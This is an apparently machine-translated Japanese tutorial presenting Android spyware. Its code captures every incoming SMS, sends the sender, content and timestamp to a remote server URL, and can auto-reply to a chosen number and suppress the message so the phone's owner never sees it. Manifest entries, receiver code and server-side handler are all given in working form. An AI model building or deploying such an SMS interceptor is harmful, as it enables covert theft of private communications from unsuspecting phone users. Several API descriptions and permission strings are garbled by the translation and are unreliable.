Androidプログラミングのショートメッセージ盗聴器の実現方法


本論文の例は、Androidプログラミングのショートメッセージ盗聴器の実現方法を説明する。皆さんに参考にしてあげます。具体的には以下の通りです。
サーバ:
1、from beanを修正する:Video Formにメールの時間、内容と送信者の属性を追加する。
2、Video ManagerActionにおいて、盗聴器が送信するショートメッセージを取得するための方法getSMS()を追加する。

public ActionForward getSMS(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
VideoForm formbean = (VideoForm)form;
System.out.println("    :"+ formbean.getTime());
System.out.println("       :"+ formbean.getSender());
System.out.println("  :"+ formbean.getContent());
return mapping.findForward("result");
}

クライアントSMS_Listener
1、明細書ファイルで放送を購読する

<receiver android:name=".MySMSListener">
 <intent-filter>
   <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
 </intent-filter>
</receiver>

メッセージの受信権限を追加して、ネットワークにアクセスする権限

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>

2、クライアントのMySMSListenser.java
機能:SMS放送を受け取り、メッセージを受信して解析し、サーバー側に送信してバックグラウンド印刷を行います。

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import cn.class3g.utils.SocketHttpRequester;
…
public class MySMSListener extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < messages.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage msg : messages) {
String content = msg.getMessageBody();
String sender = msg.getOriginatingAddress();
Date date = new Date(msg.getTimestampMillis());
SimpleDateFormat sdf = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendTime = sdf.format(date);
Map<String,String> param = new HashMap<String,String>();
param.put("method", "getSMS");
param.put("sender", sender);
param.put("content", content);
param.put("time", sendTime);
String path = 
"http://192.168.1.100:8080/videoweb/video/manage.do";
try {
SocketHttpRequester.post(path, param, "UTF-8");
} catch (Exception e) {
Log.e("TAG",e.toString());
}
}
}
}
}

SmsMessage
public static SmsMessage createFroomPdu(byte[]pdu)
オリジナルのPDUからSmsMessageを作成します。この方法はとても重要です。私たちが受信した放送意図から取得したバイトはSmsMessageを作成するショートメッセージ受信プログラムを作成するために使います。
public Stering getOriginatingAddres()
StringでSMS情報の着信アドレスを返します。または利用できない場合はnullです。
public String getMessage Body()
Stringでメッセージの本体に戻り、テキストベースで存在する場合。
ショートメッセージマネージャ:SmsManager
1)Android 2.0の前にAndroid.telephone.gsm.SmsManagerを使うべきです。
その後はandroid.telephone.SmsManagerを使うべきです。
2)システムのデフォルトのショートメッセージマネージャを取得する
SmsManager smanager=SmsManager.get Default()
3)メッセージごとに最大文字数でメッセージを分割します。
List<String>divideContints=smanager.divideMessage;
4)メールを送る
sms Manager.sendTextMessage(destination Address、scAddres、text、sentIntent、deliveryIntent)
--destination Address:対象電話番号
--scAddres:ショートメールセンター番号、テストは記入しなくてもいいです。
--text:メールの内容
--sentIntent:送信-->中国移動-->中国移動が送信に失敗しました。   つまり、この意図はメール送信状態の情報を包装しています。
--deliveryIntent:送信-->中国移動-->中国移動が送信に成功しました。相手がこの情報を受け取ったかどうか-->その後の処理  つまり、この意図はメールが相手に受信された状態情報を包装していますか?
 
5)メッセージ送信権限を宣言する
*Android Manifest.xml
<uses-permission android:name=“android.permission.SEND_”SMS'/>
3、さらにクライアント機能を追加します。傍受した指定されたメッセージを傍受し、自動的に返信します。
メッセージ送信権限を追加:
<uses-permission android:name=“android.permission.SEND_”SMS'/>
MySMSListenserのonReceiveにコードを追加しました。

String sendContent = sdf.format(date) + ":" + sender + "--"
+ content;
Log.i("TAG",sendContent);
if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("5556",null,"game over",null,null);
this.abortBroadcast(); //    
}
テスト:
もう一つのシミュレータを起動して、クライアントを展開するシミュレータにショートメッセージを送信し、サーバのバックグラウンド出力を確認し、クライアントの実行シミュレータがショートメッセージの受信があるかどうかを確認する。
ここで述べたように、皆さんのAndroidプログラムの設計に役に立ちます。